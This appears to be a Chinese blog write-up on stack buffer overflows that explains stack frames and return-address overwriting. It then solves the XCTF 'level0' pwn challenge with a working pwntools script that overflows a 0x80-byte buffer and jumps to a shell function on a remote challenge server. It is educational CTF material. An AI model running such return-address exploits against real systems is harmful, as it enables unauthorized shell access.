栈溢出之覆盖函数返回地址

栈溢出之覆盖函数返回地址

原理

栈溢出:栈溢出就是栈上的缓冲区填入过多的数据,超出了边界,从而导致了栈上原有数据被覆盖。

函数调用的时候,会开辟一个栈帧结构。首先会将调用的函数的参数入栈,然后依次压入调用函数的返回地址当前栈底指针寄存器(BP)的值入栈。其中压入返回地址是通过call指令来实现的。
在函数调用结束的时候,将栈指针SP重新指向帧指针BP的位置,并弹出BP返回地址IP。这样函数状态将恢复成进入子函数的状态,实现了函数栈的切换。

当用call指令调用一个函数的时候,首先会将IP寄存器中的值压入栈。然后开一个栈帧结构,一般汇编代码如下:

push %ebp 
mov %esp %ebp
...
leave
ret

通过一张图来简单说明:
在这里插入图片描述
call指令将IP寄存器中的值压入栈后。用push %ebp将bp寄存器的值压入栈。
mov %esp %ebp:将esp的值赋给ebp,这时候sp和bp的值相等,栈为空。然后就会将一些局部变量等压入栈,进行相关的操作。
函数调用结束时,首先用leave指令,等价于如下操作:

mov %ebp %esp
pop %ebp

首先将ebp的值赋给esp,这时sp指针就指向了栈底了。然后pop %ebp就还原了调用函数BP值。同时esp会+1(向高地址方向),使得esp指向的是返回地址
最后ret指令的作用:弹出SP指针指向的内存单元的值(返回地址)。并且程序跳转到该位置处继续执行。

利用

这里用攻防世界的题目来巩固一下。
题目:pwn 新手练习 level0

  1. 首先查看一下文件的相关情况
    pwn checksec level0
    在这里插入图片描述
    64位的程序,注意到No canary found,没有栈哨。这为覆盖函数返回地址提供了条件。
  2. 用ida进行静态分析
    进入main函数,F12查看源码:

在这里插入图片描述

该程序是打印"Hello,world\n"后,返回了vulnerable_function()函数。

跟进这个vulnerable_function()函数。

在这里插入图片描述

发现直接将0x200个数的字符写到了0x80大小的缓冲区。可以直接实现缓冲区溢出漏洞。观察到了有一个callsystem函数,跟进一下:
在这里插入图片描述
执行后可以直接getshell。

  1. 计算偏移地址
    通过IDA我们可以直接读到缓冲区距离BP指向的位置的距离是0x80。这时候我们根据上面画出的栈帧结构图,还需要覆盖掉BP的值,应为这里是64位的程序,所以BP是占8字节的,然后最后是填充callsystem函数的地址。在IDA中的函数窗口中可以看到位0x400596
    在这里插入图片描述
    4.写脚本getshell
    最后我们写脚本拿到服务器的shell
from pwn import *
context(os='linux',log_level='debug') #打印调试信息
r = remote('220.249.52.133',52305)

r.recvuntil('\n')
payload='a'*0x80+'b'*8+p64(0x400596)
r.sendline(payload)
r.interactive()

在这里插入图片描述

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值